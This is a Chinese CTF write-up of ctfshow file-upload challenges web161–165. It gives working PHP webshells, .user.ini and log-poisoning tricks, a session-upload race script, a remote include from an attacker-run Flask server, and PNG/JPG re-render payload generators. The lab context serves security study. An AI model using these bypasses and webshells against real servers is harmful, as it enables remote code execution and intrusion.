ctfshow web入门 web161-165

1.web161

注意前端可以改为file
这题注意上传直接上传图片是不行的,还检测了文件大小getimagesize
文件内容中不能有php,[],;,{},(),空格,log,``,图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png,在上传1.png ,写入 GIF89a <?=include"/var/lo"."g/nginx/access.lo"."g"?>,访问链接就可得到 (http://…/upload/index.php),在ua头中写入一句话<?php eval($_POST[1])?>,再次访问链接 (http://…/upload/index.php)进行命令执行1=system(“tac …/f*”)?>,得到flag
上传1.png
在这里插入图片描述

上传.user.ini

在这里插入图片描述

2.web162

和上题相比过滤了点,日志包含就用不了了,这里采用的是session包含
先上传png,写入GIF89a<?=include"/tmp/sess_1"?>,在上传.user.ini,写入GIF89a
auto_prepend_file=png
羽师傅的一个session包含竞争脚本

import requests
import threading
session=requests.session()
sess='1'    #和png后面要包含文件的对应 
url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/"
url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload"
data1={
	'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}
file={
	'file':'1'  #无所谓
}
cookies={
	'PHPSESSID': sess
}

def write():
	while True:
		r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
	while True:
		r = session.get(url2)
		if 'flag' in r.text:
			print(r.text)
			
threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
	t.start()
](https://img-blog.csdnimg.cn/direct/232be8c003af48e98640586d51c5522b.png)

上传png
在这里插入图片描述

上传.user.ini
在这里插入图片描述

3.web163

1.和上题一样
session包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize
过滤了点,日志包含没法用了,采用session文件包含
和上题相比过滤了点,日志包含就用不了了,这里采用的是session包含
先上传png,写入GIF89a<?=include"/tmp/sess_1"?>,在上传.user.ini,写入GIF89a
auto_prepend_file=png
2.
同样适用于上题
可以使用远程文件包含,上传.user.ini,需要把ip转换为数字,注意远程web服务器需要为路由型,这里使用python的flask框架,之后在进行命令执行即可
或者传.user.ini和png,分别写入以下内容,这题不行,在png上传的一瞬间被删除了
.user.ini
GIF89a
auto_prepend_file=png

png
GIF89a

<?=include"http://10200352//"?>
from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello_world():
    return '<?php @eval($_POST[1]);?>'
if __name__ == '__main__':
    app.run(port=80,host='0.0.0.0')

直接传.user.ini
在这里插入图片描述

4.web164

通过尝试上一题的方法,上传.user.ini等发现显示文件类型不合规,上传一个正常的png图片,发现网址变为了download.php?=asdfasdfa.png类型,推测为一个图片包含点,下载这张图片,发现与原图片大小不一样,猜测二次渲染,使用png二次渲染进行绕过,下面为生成png二次渲染的一个脚本
注意这里的图片越简单二次渲染绕过的可能性越大

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */

?>

生成之后,上传文件,点查看图片,访问该图片,get传入0=system,post传入ls .
下载图片,打开查看发现当前目录下有flag.php
get传入0=system,post传入tac flag.php得到flag
在这里插入图片描述

原文链接:https://blog.csdn.net/miuzzx/article/details/109537262

5.web165

通过查看网页源代码发现后缀为jpg文件,估计考察的是jpg二次渲染

照片选择这张成功率会高很多
请添加图片描述

先把这张照片上传到服务器上,在把服务器上已经渲染好的照片下载下来,使用下载下来的照片使用下方的jpg渲染脚本插入php代码

jpg渲染脚本(特别注意需要在linux环境下运行此脚本,windows运行无法渲染成功)

<?php
$miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    die('php-gd is not installed');
}
if(!isset($argv[1])) {
    die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
    $nullbytePayloadSize = $pad;
    $dis = new DataInputStream($argv[1]);
    $outStream = file_get_contents($argv[1]);
    $extraBytes = 0;
    $correctImage = TRUE;
    if($dis->readShort() != 0xFFD8) {
        die('Incorrect SOI marker');
    }
    while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
        $marker = $dis->readByte();
        $size = $dis->readShort() - 2;
        $dis->skip($size);
        if($marker === 0xDA) {
            $startPos = $dis->seek();
            $outStreamTmp =
                substr($outStream, 0, $startPos) .
                $miniPayload .
                str_repeat("\0",$nullbytePayloadSize) .
                substr($outStream, $startPos);
            checkImage('_'.$argv[1], $outStreamTmp, TRUE);
            if($extraBytes !== 0) {
                while((!$dis->eof())) {
                    if($dis->readByte() === 0xFF) {
                        if($dis->readByte !== 0x00) {
                            break;
                        }
                    }
                }
                $stopPos = $dis->seek() - 2;
                $imageStreamSize = $stopPos - $startPos;
                $outStream =
                    substr($outStream, 0, $startPos) .
                    $miniPayload .
                    substr(
                        str_repeat("\0",$nullbytePayloadSize).
                        substr($outStream, $startPos, $imageStreamSize),
                        0,
                        $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                    substr($outStream, $stopPos);
            } elseif($correctImage) {
                $outStream = $outStreamTmp;
            } else {
                break;
            }
            if(checkImage('payload_'.$argv[1], $outStream)) {
                die('Success!');
            } else {
                break;
            }
        }
    }
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
    global $correctImage;
    file_put_contents($filename, $data);
    $correctImage = TRUE;
    imagecreatefromjpeg($filename);
    if($unlink)
        unlink($filename);
    return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
    global $extraBytes, $correctImage;
    $correctImage = FALSE;
    if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
        if(isset($m[1])) {
            $extraBytes = (int)$m[1];
        }
    }
}
class DataInputStream {
    private $binData;
    private $order;
    private $size;
    public function __construct($filename, $order = false, $fromString = false) {
        $this->binData = '';
        $this->order = $order;
        if(!$fromString) {
            if(!file_exists($filename) || !is_file($filename))
                die('File not exists ['.$filename.']');
            $this->binData = file_get_contents($filename);
        } else {
            $this->binData = $filename;
        }
        $this->size = strlen($this->binData);
    }
    public function seek() {
        return ($this->size - strlen($this->binData));
    }
    public function skip($skip)
    {
        $this->binData = substr($this->binData, $skip);
    }
    public function readByte() {
        if($this->eof()) {
            die('End Of File');
        }
        $byte = substr($this->binData, 0, 1);
        $this->binData = substr($this->binData, 1);
        return ord($byte);
    }

    public function readShort() {
        if(strlen($this->binData) < 2) {
            die('End Of File');
        }
        $short = substr($this->binData, 0, 2);
        $this->binData = substr($this->binData, 2);
        if($this->order) {
            $short = (ord($short[1]) << 8) + ord($short[0]);
        } else {
            $short = (ord($short[0]) << 8) + ord($short[1]);
        }
        return $short;
    }

    public function eof() {
        return !$this->binData||(strlen($this->binData) === 0);
    }
}
?>

上传脚本生成的图片,执行命令,得到flag
在这里插入图片描述
参考文章
ctfshow文件上传

posted @ 2024-10-27 16:53  mushangqiujin  阅读(23)  评论(0编辑  收藏  举报  来源